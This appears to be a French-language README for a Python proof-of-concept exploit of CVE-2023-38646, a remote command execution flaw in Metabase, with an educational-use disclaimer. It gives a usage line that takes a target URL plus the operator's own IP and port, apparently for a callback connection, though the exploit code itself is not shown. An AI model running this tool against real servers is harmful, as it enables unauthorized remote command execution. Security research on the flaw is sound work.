jayryz/cve-2023-38646-poc-metabaseScript de preuve de concept pour l'exploitation de CVE-2023-38646. Conçu uniquement à des fins éducatives et de recherche.
Script de preuve de concept pour exploiter CVE-2023-38646. Destiné uniquement à des fins éducatives et de recherche.
Il s'agit d'un script de preuve de concept (PoC) basé sur Python pour exploiter CVE-2023-38646, une vulnérabilité affectant Metabase. L'exploit abuse de mauvaises configurations pour exécuter des commandes à distance.
⚠️ Avertissement :
Ce script est destiné uniquement à des fins éducatives et à la recherche éthique. Toute utilisation abusive de ce script pour attaquer des systèmes sans consentement préalable est illégale et contraire à l'éthique. L'auteur n'est pas responsable des dommages causés par l'utilisation de cet outil.
requests (pip install requests)python3 exploit.py -u <target_url> -ip <your_ip> -p <your_port>